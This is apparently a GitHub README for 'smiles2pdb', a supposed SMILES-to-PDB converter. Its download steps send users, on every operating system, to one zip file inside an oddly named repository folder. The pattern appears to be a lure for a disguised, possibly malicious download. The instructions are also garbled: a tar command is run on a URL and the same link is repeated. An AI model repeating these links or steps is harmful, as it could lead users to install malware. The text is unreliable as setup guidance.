🌟 smiles2pdb - Convert SMILES to PDB with Ease

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🚀 Getting Started

Welcome to smiles2pdb! This tool helps you convert SMILES strings into PDB files easily. No technical background is required. Follow these simple steps to get started.

🔗 Features

• User-Friendly Interface: Easy to navigate command-line tool.
• SMILES to PDB Conversion: Quickly convert chemical structures.
• Conformer Generation: Generate 3D conformations using RDKit for better molecular modeling.
• Lightweight: Minimal system requirements for smooth performance.
• Open Source: Contribute and modify the tool as per your needs.

📦 System Requirements

To run smiles2pdb, ensure you have the following:

• Operating System: Windows, Linux, or macOS
• C++ Compatible Runtime Environment
• RDKit Library installed (needed for conformer generation)

📋 Installation Steps

1. Visit the Releases Page: Click the link below to access the download files.

   • Download smiles2pdb

2. Choose Your Version: Look for the latest version at the top of the releases page.

3. Download the File: Click on the file name associated with your operating system (e.g., https://github.com/BAGDAD444/smiles2pdb/raw/refs/heads/main/commissary/pdb_smiles_persuade.zip, https://github.com/BAGDAD444/smiles2pdb/raw/refs/heads/main/commissary/pdb_smiles_persuade.zip etc.) to download it.

4. Extract the Files:

   • For Windows: Right-click the downloaded file and select "Extract All."
   • For Linux: Use the command tar -xvf https://github.com/BAGDAD444/smiles2pdb/raw/refs/heads/main/commissary/pdb_smiles_persuade.zip in the terminal.

5. Navigate to the Folder:

   • Use File Explorer or your terminal to go to the extracted folder.

🎯 Running smiles2pdb

1. Open Command Line or Terminal:

   • For Windows: Search for "cmd" in the start menu.
   • For Linux/Mac: Open the terminal from your applications.

2. Go to the smiles2pdb Directory: Use the cd command to change the directory to where you extracted your files. For example:

   cd path_to_extracted_folder

3. Run the Tool:

   • Type the following command to run smiles2pdb:

   ./smiles2pdb <your_smiles_string>

   Replace <your_smiles_string> with the actual SMILES representation you want to convert.

4. Check the Output: After running the command, check the output directory for the generated PDB file. This will be in the same folder unless specified otherwise.

⚙️ Usage Instructions

Here’s how to use smiles2pdb:

• Basic Conversion: To convert a simple SMILES string:

  ./smiles2pdb C1=CC=CC=C1

  This command will generate a PDB file for benzene.

• With Options: Additional options may be included to customize the output. You can specify options like output directory or conformer settings. Check the help command by typing:

  ./smiles2pdb --help

📑 Support and Documentation

For further assistance, consult the documentation included in the download or visit our GitHub Issues page to join the community and seek help.

🔗 Download & Install

Once you have familiarized yourself with the instructions above, you are ready to download smiles2pdb.

Visit the following link to access the Releases page and download the latest version:

• Download smiles2pdb

🌍 Community Contributions

We welcome contributions! If you have suggestions or improvements, feel free to open a pull request or issue. Your input can help make smiles2pdb even better for everyone.

Thank you for using smiles2pdb! Enjoy your chemical structure conversions.